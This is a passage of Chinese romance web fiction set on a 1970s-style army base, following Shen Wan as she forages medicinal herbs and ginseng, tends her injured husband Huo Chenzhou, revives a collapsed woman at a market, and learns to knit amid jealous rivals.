杨雪梅的眼神顿时不一样了，她热切地握住沈晚的手："这可是好事啊！咱们部队驻地冬天寒冷，好多战士都生冻疮。你要是真能做出好用的药膏，那可是解决了大问题！" 她沉吟片刻："这样，我做主，等你的药做出来了，可以先送去医务室试用。要是效果确实好，说不定能成为咱们部队的常备药品呢！" 沈晚眼前一亮，这倒是个意外的好消息。 她原本只打算小打小闹地做些买卖，没想到杨雪梅直接给她指了条明路。 "那就先谢谢杨主任了。"沈晚真诚地道谢。 杨雪梅摆摆手，笑容亲切了许多：“不客气。” 如果不是之前沈晚做了那么多错事，她现在真不想劝沈晚和霍沉舟离婚了。 宁毁十座庙，不毁一桩婚。 可惜她家里那口子是铁了心想让沉舟离婚。 沈晚把杨雪梅送到院门口时，正好撞上顾战。 他今天穿了件厚实的军绿色棉大衣，腰间扎着武装带，脚蹬高帮防雪靴，头上还戴着毛茸茸的护耳棉帽，一看就是准备进山的打扮。 顾战看见杨雪梅有点意外，立刻挺直腰板敬了个标准的军礼："杨主任好！" 杨雪梅微微颔首："嗯。" 等杨雪梅走远，顾战好奇地问："沈同志，杨主任来找你干啥啊？" 沈晚轻描淡写地笑了笑："她来问问我在部队适不适应。" "哦哦。"顾战挠了挠头，总觉得哪里怪怪的，但也没多想，"那咱准备出发吧！小川呢？" 沈晚回屋拿起自己准备好的小布包，里面装着保温水壶、小锄头、麻绳和几个空布袋。 她走到卧室，看着还在呼呼大睡的霍小川，轻轻拍了拍他。 霍小川迷迷糊糊地揉了揉眼睛，奶声奶气地喊了声："妈妈......" 第十八章 进山 "小川，妈妈要上山了，我和你赵姨打过招呼了，醒了就去她家吃饭。"沈晚给他掖了掖被角，"记得穿暖和点。" 霍小川这下彻底清醒了，一骨碌爬起来："妈妈你要注意安全！" 沈晚捏了捏他的脸蛋："放心吧。" 她依旧穿着昨天那件军绿色大棉袄，虽然臃肿，但胜在防风保暖，腰间用布条扎紧。 跟着顾战出门时，家属院里几个军嫂正聚在一起唠嗑，看见沈晚这副打扮，立刻交头接耳起来。 "沈晚这又是去哪？" 李丽撇了撇嘴："这才刚来部队，天天和顾营长进进出出算什么样子？就她那个狐媚子样，我得提醒琴杉看住她家男人，省得被这个狐狸精迷了心智！" 沈晚听不到这些闲言碎语，她跟着顾战来到部队后山入口。 顾战指着远处白雪皑皑的山林："咱们今天就在外围转转，千万别往深处走。" 顾战正仔细嘱咐着进山的注意事项，突然一队巡逻的小战士从山路上下来。 "顾营长好！"领头的班长立正敬礼，眼睛却忍不住往沈晚身上瞟。 几个年轻战士更是看直了眼——沈晚穿着军绿色棉袄站在雪地里，乌黑的长发扎成利落的马尾，衬得小脸越发白皙精致。那双灵动的杏眼像是会说话，红唇在雪景中格外明艳。 "顾营长，这、这位是..."一个小战士结结巴巴地问。 顾战轻咳一声："这是霍团长爱人，今天跟我上山。" "霍团长媳妇？！"几个战士异口同声，眼睛瞪得溜圆。 这两天听说霍团长媳妇是个水灵灵的大美人，他们本来还没当回事，但是没人告诉他们这么漂亮啊。 班长还算有点理智，皱眉道："顾营长，你要带这位女同志上山？" 顾战点头："嗯，霍团长同意了，我们就在外围转转。" 听到是霍团长首肯，班长也不好再阻拦："正好我们也要巡逻，陪你们一块上去吧。" 顾战沉吟片刻，想到山里确实危险，多几个人更安全："行。" 于是这队小战士在前面开路，沈晚和顾战落后十来米跟着。 皑皑白雪覆盖着整片山林，松柏枝头压着厚厚的雪冠，在阳光下闪烁着晶莹的光芒，沈晚深一脚浅一脚地踩在积雪中，呼出的白气在睫毛上结了一层细霜。 这样壮观的北国雪景，是生长在南方的沈晚从未见过的。 走了大概十分钟，她在一棵粗壮的老松树下停住脚步。 这棵树树干扭曲遒劲，树皮皲裂如龙鳞，树根处隆起一个不自然的土包。 "怎么了？"顾战疑惑地回头。 沈晚没回答，而是蹲下身，轻轻拂开积雪。 枯叶下隐约可见几片特殊的掌状复叶，她眼睛一亮，从布袋里掏出小锄头开挖。 顾战好奇地蹲在沈晚身边："沈同志，这是啥啊？" 沈晚卖关子："等一会儿挖出来你就知道了。" 她动作十分轻柔，先用小锄头慢慢刨开周围的冻土，再用手指一点点拨开泥土。 随着挖掘深入，一根淡黄色的根茎渐渐显露出来，顶端还带着几片枯萎的茎叶。 顾战震惊的瞪大眼睛。 沈晚声音难掩兴奋："果然是野山参，看这芦碗的纹路，至少是六品叶的老参。" 她小心翼翼地清理着每一根参须，生怕弄断任何一根。 "成了！"沈晚终于将整株人参完整取出，足有巴掌长，根须舒展如老人胡须，"正好这山参可以给你们霍团长补补身体。" 她将人参仔细包好，又继续在周围寻觅。 不一会儿，就在向阳的山坡上发现了几株开着紫色小花的植物。 "这是透骨草，"沈晚边采摘边解释，"配上我雪莲和当归，可以做成特效冻疮膏。" 顾战亦步亦趋地跟着，看她像变魔术一样从雪地里找出各种草药： "这是老鹳草，治风湿最管用。" "居然有这么大一丛刺五加。" "这株黄芪的根茎好粗。" 不到半天功夫，沈晚的布包就鼓了起来。 她额前的碎发被汗水打湿，脸颊冻得通红，眼睛却亮得惊人。 顾战背着装满草药的布包，虽然不重，但沈晚再三叮嘱他要轻拿轻放。 眼看着沈晚还想往深山里去，顾战赶紧拦住她："沈同志，不能再往里了，咱在外围挖挖就行了。" 沈晚望着云雾缭绕的深山，眼中满是不舍。 光外围就能采到这么多珍贵药材，深山老林里不知道还藏着多少宝贝。 "好吧，"她恋恋不舍地收回目光，"今天收获也不小了。" 回程路上，沈晚已经开始盘算着怎么处理这些药材。 她特意保留了大部分草药的根部，准备在家属院的小院里试着种一垄。如果能成功，以后就不用总往山上跑了。 突然，远处的深山里传来一阵悠长的狼嚎声，在寂静的山林中格外刺耳。 顾战看上去已经习以为常了："沈同志别怕，狼群一般不会到外围来。" 话音未落，旁边的雪堆突然"簌簌"动了起来。 一只圆滚滚的狍子从雪里探出脑袋，黑溜溜的大眼睛好奇地打量着两人。 它似乎完全不害怕人类，反而歪着脑袋往前蹦了两步。 "是傻狍子！"顾战松了口气，忍不住笑道，"这蠢东西听见狼叫不跑，还往人跟前凑。" 沈晚眨了眨眼，第一反应是："这狍子能吃吗？" 顾战嘴角抽了抽："沈同志，狍子肉又柴又膻，不好吃的。"他边说边抽出腰间匕首，"你真想吃的话……" 那傻狍子似乎察觉到危险，终于反应过来要跑，却因为积雪太深，蹦跶得像个毛绒球似的滑稽。 沈晚看着它突然想到自己在现代的宠物狗，摆了摆手："算了，不吃了。" 顾战收起匕首，护送着沈晚继续往山下走。 令沈晚哭笑不得的是，那傻狍子跑出几百米后，竟然又蹦跶着回来了。 它站在不远处的雪堆上，歪着脑袋好奇地打量沈晚。 沈晚早就听说狍子傻得可爱，没想到这么呆。 第十九章 送参汤，大补！ 下山后，顾战把沈晚送回大院。 苏琴杉看见顾战和沈晚有说有笑的样子，脸色有点难看。 李丽还凑到她耳边煽风点火："琴杉，你看看，我说什么来着？这才认识几天啊，就勾着顾营长陪她干这干那的。" 苏琴杉强挤出一丝笑容："嫂子，我相信阿战不是那种人。" "顾营长当然不是那种人！"李丽撇着嘴，意有所指地瞥向沈晚，"但你能保证某些人没动歪心思？你看她长得跟狐狸精似的，那双眼睛会勾人得很！" 苏琴杉想和顾战打招呼，但对方光顾着给沈晚背药材，完全没主意她这边。 李丽煞有其事道："霍团长马上就要和这个沈晚离婚了，她现在缠着顾营长，肯定是想再攀一个高枝儿！" 这番话像毒蛇一样钻进苏琴杉心里，她攥紧手心，指甲几乎要掐进肉里。 顾战必须是她的！谁也别想抢走！ 顾战把沉甸甸的布袋摊在院子里，赵晓燕好奇地凑过来："妹子，这都是啥宝贝啊？" 沈晚蹲下身，如数家珍地展示：“这都是我在山上挖的草药，可以用来做药膏药茶。” 她用锄头敲了敲院子里荒废的菜地，天气太冷了，这土冻的邦邦硬。 她转头问赵晓燕："嫂子，你家有铁镐吗？我想松松土，种些草药试试。" 赵晓燕一拍大腿："还真有！你等着，俺去给你拿！" 不一会儿，赵晓燕扛着把大铁镐回来了。顾战二话不说接过来："我来吧，这活儿费力气。" 他抡起铁镐，仗着自己力气大，冻土在他手下像豆腐一样被轻松破开。 不到二十分钟，原本板结的菜地就被翻得松软蓬松。 "顾营长这力气可真不小！"赵晓燕啧啧称奇，“苏同志都来部队找你了，你这打算什么时候结婚啊？” 顾战有些不好意思地挠了挠头："我想等团长伤好一点再领证结婚。" 赵晓燕了然地点头："也是，霍团长待你不薄。"她好心劝道，"不过你可得抓紧，别让人家姑娘等太久。" 沈晚在一旁欲言又止。 虽然苏琴杉有点茶里茶气，但目前为止确实没做什么太过分的事。 如果顾战真心喜欢她，自己这个外人也不好多说什么。 "沈同志，"顾战突然转头问她，"这地翻得还行吗？" 沈晚蹲下身，抓起一把土捻了捻："土质不错，就是缺些肥力。"她抬头笑道，"等开春我去捡些松针来改良改良。" 说着，她小心翼翼地从布袋里取出几株带着土坨的草药苗，在翻好的地里挖坑栽种，纤细的手指沾满泥土，但沈晚没有丝毫嫌弃。 沈晚将剩下的草药分类整理，一部分打算洗净晾晒，另一部分需要研磨成粉。 当她取出那三株珍贵的野山参时，手指微微一顿，还是有点心疼的，这可是可遇不可求的宝贝。 沈晚挑出最小的一株参，用清水轻轻刷去泥土。 灶台前，沈晚将山参切片，配上红枣、枸杞，又加了点刚采的黄芪，小火慢炖，浓郁的参香很快弥漫整个屋子。 装进保温桶时，沈晚尝了一口，顿时苦得小脸皱成一团。 这野山参的药性比她前世接触的养殖参猛烈多了，绝对是大补。 当母子俩来到医院时，正撞见林怡宁在给霍沉舟拆纱布。 她动作轻柔地揭开层层纱布，露出霍沉舟那双骨节分明的大手，手掌宽厚，指节修长，手背上凸起的青筋彰显着力量，只是此刻皮肤上还残留着几处血痂。 "这几天别沾水，"林怡宁声音温柔得能滴出水来，指尖若有似无地划过霍沉舟的手背，"有什么需要的告诉我就行。" 霍沉舟面无表情地抽回手："谢谢，不必了。" 一抬头，他正好看见站在门口的沈晚和霍小川，林怡宁顺着他的目光回头，脸上的笑容瞬间僵住。 霍沉舟心里涌起一丝隐秘的欢喜，但面上依旧冷淡："不是说不用给我送饭了吗？" 沈晚似笑非笑地睨了一眼林怡宁："今天不是饭，是我在山上挖的野山参，炖了参汤给你补身体。" 林怡宁不满地嘟囔："山上的东西都没经过处理，万一喝出问题怎么办？" 霍沉舟却充耳不闻，冲沈晚招了招手："过来。" 沈晚以为他是想喝参汤，抱着保温桶走到床边。 刚准备拧开盖子，霍沉舟却突然抓住她的手腕："怎么受伤了？" 沈晚一愣，这才注意到自己手上有几道细小的口子，估计是挖草药时被树枝划的。 她无所谓地抽回手："可能是挖草药时划到了，没事，不疼，你晚看见一会估计都愈合了。" 沈晚打开保温桶，得意地挑了挑眉："这野山参可是大补，我要是拿去卖肯定能卖不少钱。你要全部喝光，不能浪费。" 霍沉舟温声道："家里的钱放在哪你知道，就当我买了。" 沈晚没想到他会这么说，嘴硬道："我又不是为了钱，我是医者仁心好不好！" 霍沉舟没有揭穿她，只是双眼含笑地看着她。 一旁的林怡宁看得快要发疯，霍沉舟为什么对沈晚这么温柔？而且语气里好像还带着几分宠溺。 霍小川从兜里掏出一颗奶糖："爸爸，妈妈说药很苦，我给你带了糖。" 霍沉舟揉了揉儿子的小脑袋："小川，爸爸不怕苦。" 他面不改色地喝下一大口参汤，喉结滚动间，一股灼热的暖流从胃部扩散至四肢百骸，连带着右腿都泛起一阵酥麻的暖意。 沈晚狐疑地盯着他的脸："真不苦？" 霍沉舟摇了摇头："不苦。"说着又仰头灌了几大口，额角已经渗出细密的汗珠，却硬是没皱一下眉头。 沈晚看得有些自我怀疑了，她伸手拿过保温桶，小心翼翼地抿了一口—— 她立刻吐了吐舌头，明明就很苦。 霍沉舟看着她皱成一团的小脸，终于忍不住低笑出声。 林怡宁嫉妒得眼睛都红了，她攥紧拳头冲出病房，生怕再多待一秒就会忍不住把沈晚推开。 第二十章 补过头，流鼻血了 走廊上，她深吸几口气平复情绪，再忍忍，霍沉舟的离婚审批马上就下来了马上就能让那个小贱人滚蛋了…… 可一想到刚才霍沉舟看沈晚的眼神，那种从未给过她的温柔笑意，林怡宁就心如刀绞。 霍沉舟把剩下的参汤一饮而尽。 沈晚眨巴着眼睛凑近观察他："有什么感觉吗？" 她突然的靠近让霍沉舟呼吸一滞。 顶灯透过她耳边的碎发，在瓷白的脸颊上投下细碎的光影。那双杏眼清澈见底，睫毛随着眨眼的动作轻轻颤动，像蝴蝶翅膀扫过他的心尖。 霍沉舟不自觉地咽了口唾沫，嗓音有些发紧："热，你离我远一点。" 他别过脸去，却掩不住泛红的耳根。胸腔里那股燥热不知是参汤的作用，还是因为眼前这个女人。 沈晚不明所以地退开半步，嘀咕道："野山参效果这么猛吗..." 她把保温桶拧好，正打算离开，余光突然瞥见霍沉舟鼻下缓缓流下一道鲜红的血迹。 "完了！"沈晚心里咯噔一下，这不会是补过头了吧？ 霍小川也慌了，指着霍沉舟的鼻子："爸爸，流血了！" 霍沉舟下意识摸了摸鼻子，看见指尖沾上殷红的血迹，自己也愣住了。 沈晚手忙脚乱地掏出帕子按在他鼻子上："快仰头！" 霍沉舟配合地仰起头，沈晚大半个身子都压在他身上，手忙脚乱地用帕子按着他的鼻子。 她胸前柔软的弧度近在咫尺，女人身上特有的香气萦绕在霍沉舟鼻尖，让他呼吸越发急促。 "完了完了，"沈晚懊恼地嘟囔，"好像给你补过头了。" 霍沉舟喉结滚动，黑眸直直望进她懊恼的眼底："不是你的问题。" 他声音低哑，带着几分隐忍的克制。 听到这男人这种情况还在安慰自己，沈晚心头一暖。 就在这时，病房门突然被推开，董建林走了进来。 一抬头看见两人暧昧的姿势，立刻抬起一只手："我什么都没看见！" 他转身就要往外走，沈晚无奈喊道："董院长，霍沉舟流鼻血了！" 董建林"啊？"了一声，连忙上前检查："怎么会突然流鼻血？" 沈晚有些心虚："好像是因为我刚才给他喝了参汤..." "参汤？这可是大补啊！"董建林仔细查看了霍沉舟的情况，笑道，"霍团长本就气血旺盛，加上这野山参的药效，流点鼻血很正常，没什么大碍。" 霍沉舟自己捂着鼻子，董建林匆匆说道："我去拿点止血棉。"说完便快步离开了病房。 "我没事，你别担心了。"霍沉舟温声安慰道。 沈晚还是不放心："你确定没什么不舒服？头晕吗？心悸吗？" 霍沉舟无奈："真的没事，就是流点鼻血。" 何况也不全是因为参汤的缘故。当然，这句话他没说出口。 见霍沉舟确实无碍，沈晚松了口气，顺势说起上午的事："对了，杨主任答应以后可以让我试着在卫生院做药膏……" 她简单说了下自己的计划，霍沉舟认真听完后点头："我支持你。有什么需要就和我说。" 但随即他语气一顿："杨主任找你做什么？" 沈晚直言不讳："她来劝我不要耽误你。" 霍沉舟心头一沉："你说什么了？" "我说我知道，"沈晚眨了眨眼，"我这次来就是找你离婚的。" 霍沉舟盯着沈晚的眼睛，只从里面看到一片坦然。 他喉结滚动，最终只吐出一个字："......嗯。" 明明是他一直想要的答案，为什么心里会这么不是滋味？ 沈晚丝毫没有察觉到霍沉舟的异样，她惦记着家里那些宝贝药材，利索地拎起保温桶："我先走了。" 说完便牵着霍小川头也不回地离开。 霍沉舟仰头靠在床头，用手帕捂着鼻子。 不一会儿，董建林拿着止血棉回来，一边帮他处理一边打趣："还是年轻人身体好啊！都伤成这样了，气血还这么旺。" 霍沉舟盯着天花板："院长，我的伤什么时候能好？" 董建林动作一顿："这可说不准。伤口愈合容易，但要想完全恢复行动力，至少得养一个多月吧？" 霍沉舟闭上眼，心里默默计算，一个多月，离婚审批早就下来了，估计沈晚也会搬离家属院了。 霍沉舟努力压下心头那股异样。 董建林试探道："要我说，沈同志现在对你这么好，还特地上山给你挖山参补身体，霍团长，你真要和她离婚吗？" 霍沉舟薄唇紧抿，没有立即回答。 若是以前，他肯定会斩钉截铁地说"对"。可现在，那个字却卡在喉咙里，怎么也说不出口。 董建林见他沉默，以为他还记恨着沈晚过去的所作所为，叹了口气："唉，你们年轻人的事，我也不好多说。" 沈晚回到家，将采来的药材一一摊开在竹簸箕里。 然后把簸箕挂在火炉上方，让炉火的温度慢慢烘干药材里的水分。 霍小川蹲在一旁，好奇地用手指戳了戳那些草药："妈妈，这些真的能治病吗？" "当然能。"沈晚揉了揉他的小脑袋。 虽然李丽那群人依旧看不惯沈晚，但自从上次她在家属院教训王浩的事情传开后，大家都知道这是个不好惹的主，都躲得远远的。 沈晚难得过了两天清净日子，每天一睁眼就埋头捣鼓她的草药。 这天清晨，赵晓燕敲响她家的门："妹子，醒了没？" 沈晚披上外套开门，寒风立刻灌了进来："赵姐，怎么了？" 赵晓燕搓了搓冻得通红的手，往掌心哈了口热气："今儿个镇上有大集！咱俩去逛逛！你肯定没逛过东北的大集，可热闹了！" 沈晚回头看了眼还在熟睡的霍小川："成，等我叫醒小川。" "行，那你快点，一会赶不上车了。"赵晓燕把手交叉插进袖筒里，跺着脚走了。 沈晚回到屋里叫醒炕上的霍小川："小川，醒醒，妈妈带你去赶集。" 霍小川迷迷糊糊地揉着眼睛，一听到"赶集"两个字立刻来了精神："真的吗？"他一个鲤鱼打挺坐起来，"我想吃糖葫芦。" 第二十一章 赶集、救人 沈晚点头应允："可以，但你现在得自己穿衣服。" "好的妈妈！"霍小川爬起来，动作娴熟地套上棉袄棉裤。五岁的孩子早就学会了自己照顾自己，连围巾都系得有模有样。 早饭是简单的玉米糊糊，热腾腾的喝下去浑身都暖和。 母子俩来到部队门口的车站时，那里已经等了不少军属，看来都是要去赶集的。 沈晚环视一圈，看见了几张熟面孔，苏琴杉正被几个军嫂围着，笑得温婉可人。 李丽站在她旁边，看见沈晚立刻撇了撇嘴，凑到苏琴杉耳边说了句什么。 苏琴杉抬头看过来，脸上笑容不变。 上车时人群拥挤不堪，沈晚将霍小川护在身前。 原本排在她们身后的李丽却拼命往前挤，肩膀狠狠撞向沈晚。 沈晚一个踉跄，眼看就要摔倒—— "同志，小心！"一只结实的手臂及时扶住了她，抬头对上一张黝黑憨厚的脸，是车上的男售票员。 沈晚站稳身子，礼貌一笑："多谢。" 年轻的售票员被她这一笑晃了眼，结结巴巴道："不、不客气..."他红着脸，一把将沈晚和霍小川拉上车，"来，先上来，后面的同志不要挤。" 这一幕恰好落在后面的李丽眼里。 她捅了捅身边的苏琴杉，阴阳怪气道："瞧瞧，狐狸精就是狐狸精，到哪儿都能勾搭男人。" 苏琴杉笑了笑："沈同志一个人带着孩子也不容易。" 上车后，车尾仅剩一个空位。 沈晚想让给赵晓燕，她却连连摆手："我这么大个人了，站着就行，让小川坐吧。" 沈晚便让霍小川坐好，自己抓着扶手站在一旁。 老旧的大巴颠簸前行，车厢里弥漫着汽油味、汗味和不知名的异味。 沈晚随着车身摇晃，不一会儿就觉得胃里翻江倒海，脸色渐渐发白。 售票员注意到她的不适，关切地问："同志，你是不是不舒服？" 沈晚摇了摇头：“没事，我就是有点晕车。” 站了一会，沈晚实在撑不住了，怕自己真吐出来，便让霍小川站一会儿，自己坐下休息。 李丽见状又阴阳怪气起来："真娇气，就站了这一会儿就受不了。" 沈晚听到了，但懒得和她计较——不晕车的人永远体会不到这种天旋地转的痛苦。 所幸二十分钟后，大巴终于抵达了镇上。 赵晓燕一把拉起脸色发白的沈晚："妹子，走！姐带你去集市上转转！" 集市上人山人海，吆喝声此起彼伏。赵晓燕仔细嘱咐："把钱袋子捂好了，这地儿扒手多着呢！" 沈晚点点头，把装钱的布包塞进棉袄内袋。 赵晓燕一边逛一边热情地建议："小晚妹子，你买点毛线回家给霍团长织个毛衣手套啥的，他心里肯定得劲！" 沈晚张了张嘴："我...我不会啊。"而且给一个男人织毛衣，这举动太亲密暧昧了。 "嗨，买就完事了！我教你，简单得很！"赵晓燕不等她拒绝，直接拽着她往毛线摊走，"霍团长那身板，得用三斤毛线..." 沈晚被拉着往前，哭笑不得。 摊位上五颜六色的毛线团堆成小山，赵晓燕已经熟门熟路地挑起了颜色："藏青色好，耐脏又精神！" 赵晓燕不忘问沈晚："你觉得哪个颜色衬霍团长？" 沈晚脑海里不由自主浮现出霍沉舟冷峻的面容。 "藏蓝色吧，"她轻声道，"他穿起来应该挺好看的。" "那就藏蓝色！"赵晓燕爽快地拍板，利落地挑了几捆上好的羊毛线，转头问摊主："老板，这多少钱？" 摊主是个满脸褶子的老大爷，眯着眼打量她们："军属吧？给当家的织毛衣？"他伸出三根手指，"三块钱，再送你两副竹针。" "太贵了！"赵晓燕立刻开始砍价，"两块钱，我妹子第一次学织毛衣，您就当结个善缘！" 沈晚饶有兴趣地看着赵晓燕和摊主讨价还价，这是她很想学会的生活技能。 "得嘞！两块钱就两块钱！"老大爷最终败下阵来，一边摇头一边把毛线装进布袋，"再送你一副针，下回可得再来照顾老汉生意啊！" 沈晚还不忘答应霍小川的糖葫芦，走到卖糖葫芦的小摊贩面前：“小川，你想吃哪串？” 霍小川踮起脚尖，小手指着糖葫芦架上最大最红的那串："妈妈，我要这个！" 沈晚笑着掏钱："老板，来一串这个。" 卖糖葫芦的老汉乐呵呵地取下那串递给霍小川。 霍小川接过糖葫芦，迫不及待地咬了一口，满足地眯起眼。 "妈妈也吃！"小男孩把糖葫芦举到她嘴边。 沈晚轻轻咬了一颗，酸甜的滋味在舌尖化开。 沈晚又买了些新鲜的苹果和橘子，还买了包芝麻糖。正当三人想找个地方歇歇脚时，前方人群突然骚动起来。 "有人晕倒了！" 沈晚循声望去，只见一个头发花白的老太太倒在地上，面色苍白，周围人七嘴八舌地议论，却没人敢上前。 沈晚看出老太太情况危急，绝非讹人。她挤进人群："让一让！" 她蹲下身检查老太太的情况，旁边有人拉住她："小姑娘，你是这老太太家里人？" 沈晚摇头："不是。" "那你别乱碰啊！"那人急道，"已经有人去找车了。" 沈晚充耳不闻，手指已经搭上老太太的脉搏，脉搏细弱紊乱，老太太嘴唇发绀，额头渗出冷汗，是典型的心肌梗塞症状。 "都让开点，给她通风！"沈晚厉声道，然后迅速解开老太太的衣领。 但她今天出门没带银针，只能用指压法了。 "赵姐，帮我扶住她！"沈晚拇指用力按压老太太的人中穴，另一只手在内关穴上施力。 "哎哟！这姑娘瞎按啥呢？" "就是！万一把人按坏了咋办？" 沈晚没被周围的质疑声影响，专注地变换着按压的力道和频率。 霍小川在旁边替沈晚说话：“我妈妈会医术，她在救老奶奶。” 人群安静了一分钟，见老太太一时半会没有反应，质疑声更激烈了： "一个丫头片子懂什么医术？瞎折腾！"一个满脸横肉的大汉嚷嚷道。 "快住手吧！等车把她送到卫生所去！" 第二十二章 看来是我来的不巧了 赵晓燕虽然知道沈晚懂医，但此刻手心也沁出了冷汗。 这老太太要是救过来还好，万一有个三长两短，被人赖上就麻烦了。 她担忧地看着沈晚专注的侧脸，却不敢出声打扰。 五分钟后，老太太突然剧烈咳嗽起来，脸色渐渐恢复血色。 "醒了醒了！"人群一阵骚动。 老太太茫然地睁开眼，虚弱地问："我...我这是怎么了？" "您刚才晕倒了，"沈晚扶她慢慢坐起，"应该是心脏供血不足，最好去医院做个详细检查。" 赵晓燕总算松了口气："老太太，今天可是我妹子救了你！幸好她懂医术，要不然后果不堪设想啊！" 老太太浑浊的眼睛里满是感激："是你救了我啊，谢谢你啊姑娘，我今天没带钱，你把你家地址留给我，我让儿子上门感谢你。" 沈晚摆了摆手："不用了老太太，您好好治病就行。" 这时，路人找来的三轮车终于赶到。 众人七手八脚地把老太太扶上车，她还执着地拉着沈晚的衣袖："姑娘，你叫什么名字？家住哪儿啊？我得让我儿子谢谢你……" 沈晚笑而不答，只是叮嘱道："您先去检查，别耽误了病情。" 目送三轮车远去，赵晓燕环顾四周，冷哼一声："刚才谁说我妹子瞎折腾的？现在人救回来了，怎么不吭声了？" 围观群众顿时讪讪地散开。 三人回到部队，正好撞上巡山回来的顾战，对方看见沈晚手里的毛线：“沈同志，你买毛线织毛衣吗？” 沈晚点了点头“对。” 顾战若有所思，这个颜色，怎么也不不是沈同志给自己织的毛衣吧，那就只能是给团长织的。 他要把这个消息告诉团长。 顾战端着饭盒兴冲冲地闯进病房："团长，你猜沈同志刚才去哪了？" 霍沉舟头也不抬地看书："有屁就放。" 顾战瘪了瘪嘴："我看见沈同志从镇上赶集回来，还买了毛线。" 霍沉舟疑惑地挑了挑眉，不明白这有什么好汇报的。 顾战神秘兮兮道："你猜她买的什么颜色？" "不知道。" "是蓝色的！"顾战一脸"你懂的"表情。 "所以？" "哎呦我的团长！"顾战急得直拍大腿，"那颜色明显是给您织毛衣的啊！" 霍沉舟一愣："给我织毛衣？" 顾战重重点头："对啊！小川个头那么小，哪用得上那么多毛线？我看就是给您织的！" 霍沉舟心头泛起一丝隐秘的喜悦，但面上依旧波澜不惊，只是淡淡地"嗯"了一声。 顾战狐疑地打量着自家团长微微上扬的嘴角："团长，您要是想笑就笑出来吧，憋着多难受。" 果不其然，话音刚落就挨了霍沉舟一记凌厉的眼刀。 "你很闲？"霍沉舟冷声道，"去把今天的训练报告写了。" 顾战撇撇嘴，转身往外走，临出门前还不怕死地补了句："团长，您耳朵都红了。" "滚！" 等病房门关上，霍沉舟抬手摸了摸自己的耳朵，心里涌起一丝期待。 回到家，赵晓燕抱着装针线的篮子来了。 里面装着两根竹针、一个毛线团、几个记号扣，还有把锋利的小剪刀。 "咱先从简单的学起，"赵晓燕起好针，"先织两个手套试试手。" 她手指灵活地翻飞着，竹针在她手中像有生命一般："你看啊，下针要这样挑...上针要这样绕..." 沈晚学得认真，虽然动作生疏，但胜在悟性高。 不一会儿就能磕磕绊绊地跟着织了，虽然速度慢，但好歹没出错。 "哎呦！妹子手真巧！"赵晓燕惊喜道，"我当初学的时候，拆了织织了拆，足足折腾了半个月呢！" 霍小川托着腮，眼巴巴地看着妈妈织手套："妈妈，可以把这副手套给我戴吗？" 他之前总看见其他小朋友都有妈妈织的毛衣围脖，心里羡慕得紧。 沈晚爽快地答应："行啊！"她揉了揉儿子的小脑袋，"等妈妈练熟了，再给你织条围巾。" 原本只是为了不驳赵晓燕的热情才学的织毛衣，可织着织着，沈晚竟渐渐爱上了这种感觉。 等赵晓燕走后，她又安静地织了一下午。 晚饭时，沈晚已经织好小手套，她招了招手："小川，过来试试。" 霍小川立刻蹦蹦跳跳地跑过来，乖乖伸出双手。 沈晚把毛线手套给他戴上："正好。" "妈妈好厉害！"霍小川爱不释手地摸着柔软的手套，小脸红扑扑的。 看着霍小川开心的样子，沈晚突然想起已经两天没去看霍沉舟了。 这次她没敢再炖参汤，而是用红枣、枸杞和山药炖了碗温和的补汤，既滋补又不会太燥热。 "小川，咱们去医院。" "好！"霍小川立刻跑去拿自己的小棉袄，"我要给爸爸看新手套！" 霍沉舟正闭目养神，耳边是林怡宁喋喋不休的声音："霍团长，这是我特意给您熬的骨头汤..." 他眉头紧锁，觉得实在聒噪，正想开口赶人，病房门突然被推开。 缓缓睁开眼，霍沉舟的目光瞬间定格在门口—— 沈晚站在门口，乌黑的长发被寒风吹得微微凌乱，脸颊和鼻尖都泛着可爱的粉红。她怀里抱着保温桶，肩上还挎着个鼓鼓囊囊的布包，整个人裹在厚厚的棉袄里，像只毛茸茸的小动物。 明明才两天没见，霍沉舟却觉得好像已经很久了。 "来了？"他声音不自觉地柔和了几分。 "嗯。"沈晚淡淡应了声，目光扫过林怡宁手里的汤碗，嘴角勾起一抹似笑非笑的弧度，"看来我是来得不巧了呀，霍团长都有人照顾了。" 霍沉舟怕她误会，连忙解释："我没想喝。" 这句话直接打了林怡宁的脸，她脸色顿时黑成锅底，咬住下唇。 沈晚挑了挑眉，故意道："是吗？我看林医生这汤炖得挺用心的，你不喝她会不会不开心呀？" "沈晚。"霍沉舟无奈地唤了她一声。 第二十三章 检查、霍沉舟濒临失控 林怡宁还有些不甘心："沉舟，你喝点吧，我特地和我妈学的，炖了一下午呢。" 霍沉舟却没有心软："不用了林医生，我喝她做的就行。这汤你拿回去吧。" 林怡宁再也待不下去，她强撑着最后一点尊严，临走前狠狠剜了沈晚一眼，摔门而去。 霍沉舟的视线落在霍小川手上的藏蓝色手套上，那略显粗糙的针脚一看就是手工织的。 霍小川骄傲地举起双手："爸爸，快看妈妈给我织的手套，好不好看？" 霍沉舟微微一怔，心里泛起一丝说不清的失落——原来买毛线是为了给小川织手套啊。 他掩饰性地轻咳一声："好看。" 沈晚一边盛汤一边说："今天赵姐带我去赶集了。" 霍沉舟语气平静："顾战和我说了。" "他怎么什么都跟你说。"沈晚小声嘟囔。 霍沉舟看着她微鼓的脸颊，嘴角不自觉上扬："他是我的手下的兵，自然要汇报。" 沈晚没接话，霍沉舟犹豫了一瞬，故作不经意地问："你买了那么多毛线，就织一对手套？" "当然不是。"沈晚头也不抬地回答。 霍沉舟心头微动，却听见她接着说："我答应小川要给他再织条围巾。" "......"霍沉舟轻舒一口气，心里说不出是什么滋味。 沈晚把汤碗递给他："今天不是参汤，药性温和些。" 霍沉舟接过碗，三两口就把汤喝了个精光。 喝完汤，沈晚道："我给你检查下恢复情况。" 霍沉舟闻言，立刻想起她来的第一天就把自己扒了个精光的事情，耳根没出息地又红了。 他闷声问道："还需要脱衣服？" 沈晚一脸理所当然："当然了。你自己脱还是我来？" 这话说得暧昧，霍沉舟的心跳的很快。 但这次他的手已经能活动了，便抬起修长的手指，一颗一颗解开病号服的扣子。 随着衣襟敞开，精壮的上半身逐渐显露——结实的胸肌，线条分明的腹肌，还有那充满力量感的腰线。 虽然是第二次看，沈晚还是忍不住多瞄了几眼。 这身材，简直了！ 沈晚不自觉地咽了咽口水，霍沉舟捕捉到她的小动作，心情有点愉悦，看来自己的身材对她还是有吸引力的。 他故意往上坐了坐，肌肉随着动作绷紧，腹肌的线条更加分明。 随着呼吸起伏，下腹的人鱼线若隐若现，引人遐想。 沈晚感觉鼻腔一热，连忙用手摸了摸鼻子，还好没流鼻血，不然丢大人了。 